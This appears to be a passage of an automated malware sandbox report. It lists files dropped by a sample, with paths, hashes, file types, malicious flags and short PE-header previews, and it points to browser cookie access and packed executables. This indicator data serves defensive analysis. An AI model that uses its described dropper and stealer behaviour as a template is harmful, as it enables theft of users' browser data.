Category:	dropped
Size (bytes):	4608
Entropy (8bit):	4.416719728245179
Encrypted:	false
SSDEEP:	48:68tbXKoGQ6oNrP/MXebrvrMTtFcEBO3K8/wzTqkO3KExygKBDM3f8:PX6Xe/DMTtWE0/wz5sxyblMv8
MD5:	42BF074B99A445614BD19C6E5724A01A
SHA1:	A07123ADBE7FA8BBD4A001332DC08AA6D3B5AEC0
SHA-256:	0A6C41612400C3400466A0583DBB0E6C9BD310393704807E4F9617AA53ABDED6
SHA-512:	58279D4DC7A09990302E73CB602FE3E1B1F7F8E5A0A5CD83760F99E093701F15C84BAE9692F9A4B61925F42272DFA56FED0DB8CDFE00EF509F88E91C22E185A2
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........E...$...$...$.......$...$...$......$......$..Rich.$..........PE..d...hUbC..........#...........................@..............................P...............................................................!...............@..H.................................................................... ...............................text............................... ..`.rdata..l.... ......................@..@.data...,....0......................@....pdata..H....@......................@..@................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-BMP08.tmp\_isetup\_shfoldr.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	23312
Entropy (8bit):	4.596242908851566
Encrypted:	false
SSDEEP:	384:+Vm08QoKkiWZ76UJuP71W55iWHHoSHigH2euwsHTGHVb+VHHmnH+aHjHqLHxmoq1:2m08QotiCjJuPGw4
MD5:	92DC6EF532FBB4A5C3201469A5B5EB63
SHA1:	3E89FF837147C16B4E41C30D6C796374E0B8E62C
SHA-256:	9884E9D1B4F8A873CCBD81F8AD0AE257776D2348D027D811A56475E028360D87
SHA-512:	9908E573921D5DBC3454A1C0A6C969AB8A81CC2E8B5385391D46B1A738FB06A76AA3282E0E58D0D2FFA6F27C85668CD5178E1500B8A39B1BBAE04366AE6A86D3
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......IzJ^..$...$...$...%.".$.T87...$.[."...$...$...$.Rich..$.........................PE..L.....\;...........#..... ...4.......'.......0.....q....................................................................k...l)..<....@.../...................p..T....................................................................................text...{........ .................. ..`.data...\....0.......&..............@....rsrc..../...@...0...(..............@..@.reloc.......p.......X..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\rage131MP.tmp

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	3.0269868333592873
Encrypted:	false
SSDEEP:	3:L36:O
MD5:	A3DAEAED3D4FD1AFA996151D18DCBD95
SHA1:	DD231190F22F2628499C5F15E00E7DB0BE098211
SHA-256:	26673D4FC1F9DD2DEA357CF9FE3EE287F9948FC4B21839746D42D23609CEE550
SHA-512:	E7322AF5DA256EEB79B51CA71523CF50DF44A911274DAA02DB8E15490B4CD23E6904C6FB0A77FDA6CC71F135289B4AB842313327D96C740E8912501E3247AF24
Malicious:	false
Reputation:	unknown
Preview:	1713590958216

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1003\76b53b3ec448f7ccdda2063b15d2bfc3_9e146be9-c76a-4720-bcdb-53011b87bd06

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	2251
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	0158FE9CEAD91D1B027B795984737614
SHA1:	B41A11F909A7BDF1115088790A5680AC4E23031B
SHA-256:	513257326E783A862909A2A0F0941D6FF899C403E104FBD1DBC10443C41D9F9A
SHA-512:	C48A55CC7A92CEFCEFE5FB2382CCD8EF651FC8E0885E88A256CD2F5D83B824B7D910F755180B29ECCB54D9361D6AF82F9CC741BD7E6752122949B657DA973676
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\btswgej

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	360960
Entropy (8bit):	6.339467114513211
Encrypted:	false
SSDEEP:	6144:Iqbbo8HQOZA0q4+6ASSy1sgBucxonGO3:IqbbNQOZA0h3A1usgBu/GO3
MD5:	5EB7C8D4E4A0A7C66277EB3E4295C7A1
SHA1:	A9B7A2EB7AE98D5205CAAAADE0890F9FB0DD1588
SHA-256:	1B78CACDF001619931AE6D0424CE17B4515AF103C1A1A1680AC1659F1834A682
SHA-512:	D6614A76C53F6CB5B2681927D741B4F07B51F510D6BE54B27CD6AF568ADAF150C247135CF5F4226C44A09134FC191B39A0CFADA4407027B628130A20A496920F
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............G...G...G...G...G..:G...G..;G:..G.HG...G...G...GOL>G...G...G...GOL.G...GRich...G........................PE..L......c......................`.....+i............@..........................0b.....P........................................Q..x.....`.x}..........................0...8............................<..@............................................text............................... ..`.rdata..............................@..@.data....@^..`.......F..............@....rsrc...x}....`..~..................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\45NBK9axc23mjqmbKvmG0NYP.exe

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7017926
Entropy (8bit):	7.996436990304373
Encrypted:	true
SSDEEP:	196608:91OT2zjVpYD8vDwJmaHxbS2Os9qP0eEVV2:3OT2tpRvDqRbhOZ0fVV2
MD5:	A134C160036C6542BE45BA9FC2D8132D
SHA1:	D029BC9DD75936B64E007FE638C26A4FCC0FB1C3
SHA-256:	49C60DEBD7513CA11D1620FB7B298E491717A78A88FECE9833EADCA08FA20A7A
SHA-512:	B014A271FE2431905C0698FB442F91D7D936B97DF17912C2068607FF36F72BB3E3344153F90B910248B4FF82681527347BC0575A7B73AE64A8E9B637137F6F41
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5186048
Entropy (8bit):	7.988942986400578
Encrypted:	false
SSDEEP:	98304:2C4ahA6d6VouW6tgklsjSTtSPfwuBvN/l5W/SFhVn4jGY5NEjWxtItnqi6oIA5Om:v4C6Vop6t4jASPYuL4SvV4qGiI+8ixn
MD5:	083BBD31609819B33AD9998C1525612A
SHA1:	268C62DCA8CD8DD2D0FDAA5D9EEE243561F2CB5A
SHA-256:	B59EE5C11BC18BB750059D836AA6A6F980FFC96D1925EE218725DAC105EE1E8C
SHA-512:	D586A1ED41D3887FBA251EF907736689F2575B465E635B157B3E5B2358D015669EDB8C3233F5591E36E4D081532F60AA44DC3184AB355CD8EB454D9DB93BC021
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f...............'.4..........8........P....@..........................p.......pO...@.............................J......,....`.......................@..D....................................................0w......t..@....................text....2.......................... ..`.rdata..^....P......................@..@.data... I..........................@...8<&>8<&>.....P......................`..`.reloc.......`......................@..@.vmp$.~............................@..@.edata..............................@..@.vm_sec...... ......................@....idata..............................@....tls.....................................themida.@Q.........................`....vmp$.~.....@l..................... ..`.vmp$.~.....0w.....................@....vmp$.~..N..@w...N................. ..`.reloc..D....@........O................@.rsrc........`........O.

C:\Users\user\Documents\SimpleAdobe\EWdN3bvBjxAbF1GyzHE7_p73.exe

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	6153216
Entropy (8bit):	6.377641735642354
Encrypted:	false
SSDEEP:	49152:W/Ce4+1N237v0gM68DXYDqwLvws0EdRGtVpT1kTNkbNbQWSxR9DzNJyEv5j/ujOJ:je4PLs6VKOQpyJWSxR9vBEAm8dJT1
MD5:	817C11005CA185252E666C25769A2591
SHA1:	E52EC29D0E10C63B378B919FA1F5839B714BE07C
SHA-256:	353ED3726F653A8E19C5C1511088AE21F3673D992A1781C100DEC7E8418A7FC8
SHA-512:	B7CB060C4CABBB926E8A40ADF797F9B082F6BAC87A97B984AA6A636D82CF873B5657026B43D17359FFA1CEE1F9EACCED591F6C03E747B3D63090A4BC3D0FBF9B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................$..&...]................@.............................0d.....}.^...`... ...................................... b.N....0b......pb.G....@[..............Pc..............................,[.(...................\|4b.@............................text.....&.......&.................`.``.data.........'.......&.............@.`..rdata........,......\|,.............@.`@.pdata.......@[......([.............@.0@.xdata..D....0\.......\.............@.0@.bss.........@\.......................`..edata..N.... b.......\.............@.0@.idata.......0b.......\.............@.0..CRT....p....Pb......0\.............@.@..tls.........`b......2\.............@.@..rsrc...G....pb......4\.............@.0..reloc.......Pc.......].............@.0B................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\FSYOvyvMMT80PCsMousFK1Xa.exe

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	402432
Entropy (8bit):	7.542225503882471
Encrypted:	false
SSDEEP:	12288:j8DhiD2IN0wnmRsJlBza6WHAf1kNgggoCe:ehiqIN7wClMBAf+rhR
MD5:	B841D5F5E8102EE6AC56D565FBB58879
SHA1:	972F4BA09920B0512769F9EB1923DA2D8B0B9470
SHA-256:	E3D540DF89C42080E0D44AE13D7687F5EC5DD178128CB9831EEFDDC742F2CF3E
SHA-512:	F565307A8BCC736C94E4EDA451E58447839C3C142FD5601764F87F2B4D9734D11DEBD069D0822E66E2551C6C2D57F8C1123439C4DC2E7C7955B4F5248FB593DE
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........E\..+...+...+.B.(...+.B...;.+.B./...+.B....+......+.SN/...+.SN(...+.SN....+.bM"...+.bM)...+.Rich..+.........PE..L....x"f...............'............q_.......@....@..........................`............@.....................................(............................@..................................... ...@............@..@............................text............................... ..`.bss.........0...................... ..`.rdata.. ....@......................@..@.data...0X.......L..................@....reloc.......@......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11440768
Entropy (8bit):	7.9956456855740825
Encrypted:	true
SSDEEP:	196608:TgfL0sKYu/PaQL2rg+9eqH2AbUEOgvDDJf6Wv/VrxiWmo3sNushugauo0LRmVj:GQLKg+4qH2AoEOgv3Jx/VMW1sAgau3RK
MD5:	5917C8E5A003B2C211150D1F92440F79
SHA1:	FC3DFD511D75828C56AEC3BE55931D42BFBDD96E
SHA-256:	95256B28DFB85F1D5BAFDEC109950775733D4AF82ACC0512151639695C57E469
SHA-512:	BA686693DE8C474D819CA65E6D44AE0D32AAE82F71FAA40052C1ACE81CA0452C590780FAB13601930DE04C3426430EE4B93B2A3870357738E13B1D60AADD81DF
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............................1...........-......................................H......H......Rich............................PE..d...4..e.........."....".....R.................@............................. ...........`.....................................................<.... ........... ..............\...P...................................@...............P............................text............................... ..`.rdata...'.......(..................@..@.data...............................@....pdata... ......."..................@..@_RDATA..\...........................@..@.rsrc........ ......................@..@.reloc..\...........................@..B................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	360448
Entropy (8bit):	6.338519941266322
Encrypted:	false
SSDEEP:	6144:DIGyoGU8dZrCm3kW3OShgDcjJoqT9RGG:DIGyA8dZrv3lPhicqqB8G
MD5:	0333777653A29FF6425D4CCE9CF6998E
SHA1:	013DBA7C68579222275AA0BB94C60D9FA62B2658
SHA-256:	395DBC924896F2A834F9BDFFCECF5A04251EEC5B3D47062B80A30886FD0B7CBD
SHA-512:	B1F9674A9AC26D010622004FA2AF2E794AB4C81A0F4B0C5EBA93CB119C71ED97E77489E74FED4FB4E0A28F6B68FB5622D084A66C42A6BDA198AF7AD3AEA31FC0
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............G...G...G...G...G..:G...G..;G:..G.HG...G...G...GOL>G...G...G...GOL.G...GRich...G........................PE..L....v.c......................`.....+i............@.......................... b..............................................Q..x.....`.x}..........................0...8............................<..@............................................text............................... ..`.rdata..............................@..@.data....>^..`.......F..............@....rsrc...x}....`..~..................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\T9n2wvLQ1PO2GfTxLTyp21hE.exe

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3008958
Entropy (8bit):	7.967001943487811
Encrypted:	false
SSDEEP:	49152:acbz6nluSTEWyGzgEXY/CTgsQ0yIEcRK/IuYi7Dcq7m2NfHqFC9Fww/sQGAPmNi6:acbkZEhGzlXNBQ0yZXYCDcq/Qg9yw/BE
MD5:	87474EC710EF8FD62769AAE7C17CEDA0
SHA1:	D29C31FD624E635708A9DB5564E990629B7E02AF
SHA-256:	A3D029CD8D658BD1518A23EDD166FD98B1D10DF21D04E5D18A4D0E1F3FB4747E
SHA-512:	A610D9B067AF505C650E6AAF09BF161FC4759B6A5B498BC02A70CD8AA11F5529E0BC60F1C285B9447A5ABF43426384C287E4730110C84EFADBE82A22BFAC0F76
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........=LF.S.F.S.F.S..$..K.S..$...S..$..^.S....D.S...W.U.S...P.Q.S...V.t.S.O...M.S.O...A.S.F.R.N.S...V.`.S...S.G.S....G.S...Q.G.S.RichF.S.................PE..L......d...............!.~...........]............@.......................................@.........................0..4...d..P...............................T)..@...T...........................8...@...............,...\ .......................text....}.......~.................. ..`.rdata.............................@..@.data....\...@.....................@....didat..x............:..............@....rsrc................<..............@..@.reloc..T).........................@..B........................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\TUBbflj40zqtNIEKWH_MWjeG.exe

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3377535
Entropy (8bit):	7.9977661467978685
Encrypted:	true
SSDEEP:	98304:7aHTOvn78dZWXVxqbbHmPbLfsLWViGGerhiVy:cOv78POsLUiGGeL
MD5:	08716C77EB12B403C525571C36C29FEE
SHA1:	79FD1277383DD98DC10BA3C4B98D8209990E5296
SHA-256:	711A3D40A6AD00EA3BB74DEE4E73C154E77B6C213C778BB7D66FD717EE9FE227
SHA-512:	0C4CF1F567CEE5BDC9ACDE76D2A21C871305F3EEB744673E172658B0779AD4152EF62326911D52BF1F9232047B4E08CA7B3C400B9D2BF64CA4AD2E871716C4B2
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................B....................@..........................0...................@..............................P........(..........................................................................................................CODE................................ ..`DATA....H...........................@...BSS.....4................................idata..P...........................@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc....(.......(..................@..P.............0......................@..P........................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\aniSiiwr9ACMsStraaf0y6pm.exe

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	HTML document, Non-ISO extended-ASCII text, with very long lines (17964)
Category:	dropped
Size (bytes):	285100
Entropy (8bit):	5.139439799351811
Encrypted:	false
SSDEEP:	3072:YOfQFywENnTbN/aAYkbGqwXCqs0jlNW6fOTHg0mRU0ebgVnIY6/u2:tnF/aAYdCqpjlfN0gVnIY6u2
MD5:	37869CCC285367A8E5080EBD2A8B50AD
SHA1:	15C8DBF4B1DFA74F7B582687D63F44BDDE0D8F84
SHA-256:	54DFFDD09BD14862AE9B2128046F4DEAD4AE9ED431DD20ACB68BA1C759166E0E
SHA-512:	9E963FCB6CA13BBAD7491AD8A1F77D6D12D07AEDD13860C0AC278EF26B4F932CBDFFBA0EF40241FB181BCC43878E4774463E76EA18746E9ECFA38B333FEA40DA
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang='en' dir='ltr'>.<head>.<meta http-equiv="X-UA-Compatible" content="IE=edge" />..<link rel="shortcut icon" href="/images/icons/favicons/fav_logo.ico?7" />..<link rel="apple-touch-icon" href="/images/icons/pwa/apple/default.png?15">..<meta http-equiv="content-type" content="text/html; charset=windows-1251" />.<meta http-equiv="origin-trial" content="AiJEtxZTdbmRu3zkrD0Bg/GvReuip5r0aklN7tIrw1Yit01/+j7PNlJFAyMMo/vqqNVvDmRsGCPGfVtNn5ookQ8AAABueyJvcmlnaW4iOiJodHRwczovL3ZrLmNvbTo0NDMiLCJmZWF0dXJlIjoiRG9jdW1lbnRQaWN0dXJlSW5QaWN0dXJlQVBJIiwiZXhwaXJ5IjoxNjk0MTMxMTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0="><meta name="theme-color" content="#ffffff">.<meta name="color-scheme" content="light">..<title>Error \| VK</title>..<noscript><meta http-equiv="refresh" content="0; URL=/badbrowser.php"></noscript>.<script nomodule>(function(){"use strict";function e({needRedirect:e}){const n=new XMLHttpRequest;n.open("GET","/badbrowser_stat.php?act=nomodule"),n.send(),e&&window.location.replace

C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11214848
Entropy (8bit):	7.97772484802616
Encrypted:	false
SSDEEP:	196608:oPnV1Bk/fRaGxUCBIORz5Z2YoZX0tMmp6tgq1D//XxdgPxwdT:oPKfR/UCBF+dZX0tMft/vxdgpG
MD5:	B091C4848287BE6601D720997394D453
SHA1:	9180E34175E1F4644D5FA63227D665B2BE15C75B
SHA-256:	D0B06CA6ECE3FEF6671FA8ACD3D560A9400891ABCD10F5CEDCFE7BD1E6050DFE
SHA-512:	A3B3663FD343389AEE2CBF76F426401D436992B2B56CEA3B60E9C2E385510FA874FA45B2AC75703074F0303934C4223EAEE1983851374A2E753FD0302042CC5A
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....L.f..........#.................y..........@.............................@............ ...................................................f.d.......X,..`...*...........................................v..(... ..8...............h............................text....~.......................... ..`.rdata..............................@..@.data...h...........................@....pdata..............................@..@.00cfg..............................@..@.tls................................@....text0...4+......................... ..`.text1..8...........................@....text2..\... .....................`..h.rsrc...X,.........................@..@........................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\cjlnYlPYSIAljKunxGKtil91.exe

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	503296
Entropy (8bit):	7.676537576463092
Encrypted:	false
SSDEEP:	12288:Z0fa1MGNMpySMcLnZ+LdfdyQPT7tnirfoCe:ka1zNM3zZIddB7tyQR
MD5:	C9AD12873E4B3F8AE042800AB6CA01B5
SHA1:	4A687CE2DDDD416B7DA22724C312588D737B36B1
SHA-256:	3EB812720AA52FF562DA685C76976D20A569C2F0A929BDE19558BDD4241E9867
SHA-512:	6B4E5A2B296D00BC2179616AAA4A040CC1938872EA9B309683226FE8979C39E6976D3C9980B1983378F081CFD76CE6AF37E3B9196FBD05C584CAF1E0DDF3E016
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........E\..+...+...+.B.(...+.B...;.+.B./...+.B....+......+.SN/...+.SN(...+.SN....+.bM"...+.bM)...+.Rich..+.........PE..L....~"f...............'............q_.......@....@.......................................@.....................................(.................................................................. ...@............@..@............................text............................... ..`.bss.........0...................... ..`.rdata.. ....@......................@..@.data...(...........................@....reloc..............................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\dCIjUPk4HQDvWsTSBTjdtIZC.exe

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	HTML document, Non-ISO extended-ASCII text, with very long lines (17964)
Category:	dropped
Size (bytes):	285085
Entropy (8bit):	5.139308749270397
Encrypted:	false
SSDEEP:	3072:YIfZFywENnTbN/aAYkbGqwXCqs0jlNW6fOTHg0mRU0ebgVnIY6/ut:knF/aAYdCqpjlfN0gVnIY6ut
MD5:	94C66D458976665FFB34899F594E914C
SHA1:	9CE45D977C98013BF6D39459CD05E4BE358C54FE
SHA-256:	D545CEB4E969A5270DE358A532D1146A56E379C170B3AB41D39B8E02A86C7C15
SHA-512:	B77A3DCECD32B4355C50842CB0F57C024212D840D6F7FD4E75C8B06A4B43F97CFBC0B537EE76AA85E9FEE867D4BEB5E6810ED0E06284C7903E0AFEED1F05BB98
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>.<html lang='en' dir='ltr'>.<head>.<meta http-equiv="X-UA-Compatible" content="IE=edge" />..<link rel="shortcut icon" href="/images/icons/favicons/fav_logo.ico?7" />..<link rel="apple-touch-icon" href="/images/icons/pwa/apple/default.png?15">..<meta http-equiv="content-type" content="text/html; charset=windows-1251" />.<meta http-equiv="origin-trial" content="AiJEtxZTdbmRu3zkrD0Bg/GvReuip5r0aklN7tIrw1Yit01/+j7PNlJFAyMMo/vqqNVvDmRsGCPGfVtNn5ookQ8AAABueyJvcmlnaW4iOiJodHRwczovL3ZrLmNvbTo0NDMiLCJmZWF0dXJlIjoiRG9jdW1lbnRQaWN0dXJlSW5QaWN0dXJlQVBJIiwiZXhwaXJ5IjoxNjk0MTMxMTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0="><meta name="theme-color" content="#ffffff">.<meta name="color-scheme" content="light">..<title>Error \| VK</title>..<noscript><meta http-equiv="refresh" content="0; URL=/badbrowser.php"></noscript>.<script nomodule>(function(){"use strict";function e({needRedirect:e}){const n=new XMLHttpRequest;n.open("GET","/badbrowser_stat.php?act=nomodule"),n.send(),e&&window.location.replace

C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5104640
Entropy (8bit):	7.987401780956933
Encrypted:	false
SSDEEP:	98304:7Tzt6AxOCWrdQHmAyhouW6tJk1JxJrPjmbrJAC9tZ70iRX:7ooYWHm1hop6tJExJrPCRTnZt
MD5:	0A36767173321199A74B6C2749E293F8
SHA1:	C0D1FE4B42BEC52F305E1F59E3D01E7204E6B5BD
SHA-256:	3E6B0700082300B38D41C56420AEB61C0AA4A7AD380D64F8F91606808FDA22AD
SHA-512:	89E43B8D7993D7DFF4B81FCD71A2DD8FA57750F6173C3906A8726DF2E67DE31146D077B69E3BFAD2D057952F879A412AB14F163FEBB4E147DC9915BE9FFF6DF0
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f...............'.4...........C.......P....@.................................i.N...@.............................J...l5z.,...............................0............................-z.......................v.........@....................text....2.......................... ..`.rdata..^....P......................@..@.data... I..........................@...8<&>8<&>.....P......................`..`.reloc.......`......................@..@.vmp$.~............................@..@.edata..............................@..@.vm_sec...... ......................@....idata..............................@....tls.....................................themida.@Q.........................`....vmp$.~t....@l..................... ..`.vmp$.~......v.....................@....vmp$.~0.M...v...M................. ..`.reloc..0.............M................@.rsrc.................M.

C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1049600
Entropy (8bit):	7.586813349499062
Encrypted:	false
SSDEEP:	24576:7peBIQfi0lwzUpIEeQxsxPInhWsn0aDG3W:7UB7f3VxsZ4Wsn00Gm
MD5:	BABB0A05BFFC1AA3AD452F745FF1C9E1
SHA1:	95C86A5F55AB1A5481B4B8ADEE86677A9740B2DE
SHA-256:	1A6CF9AA24099FBC37FAC9B157A5DC41FA7003279749512314DAF8FE6157B27B
SHA-512:	F1FAF7D0C53778FAD98C413FFF2D3CF8DFC4A454B37AB4523B697268D0E81761BB0E6808532B9F819A89F8CBB282151ADD563B3D6E477806EDE20252D89E1C2B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............G...G...G...G...G..:G...G..;G:..G.HG...G...G...GOL>G...G...G...GOL.G...GRich...G........................PE..L....Y.d......................k.....+e............@...........................l.....1........................................Q..x.....j..$..........................0...8....................<.......<..@............................................text............................... ..`.rdata.............................@..@.data.....h..`.......B..............@....rsrc....$....j..&..................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4825088
Entropy (8bit):	7.363795425961208
Encrypted:	false
SSDEEP:	98304:dPwGDPsMTm7Gh0nUu7TcY0mmdlv3GLCjcKbbygH:dPfDPtqGmnUu4mmdlO8bbyg
MD5:	15A5A210A88D15A932171A9FA25A1356
SHA1:	7F6290046BD9BB6129AF3DA4612FAD50369EDA09
SHA-256:	6A92C749F157EC43B1D14CFBA29F9CE164ECD3048353A720089F872F13B843FE
SHA-512:	6738CC6366DA9561DF4B87F099BBA64E56DB7421598C2DDA25BE2933052BDB7593B7B386671F222B1E509A73F54CA982FEAE27FE22D57B6AF82A0B30FFBED258
Malicious:	true
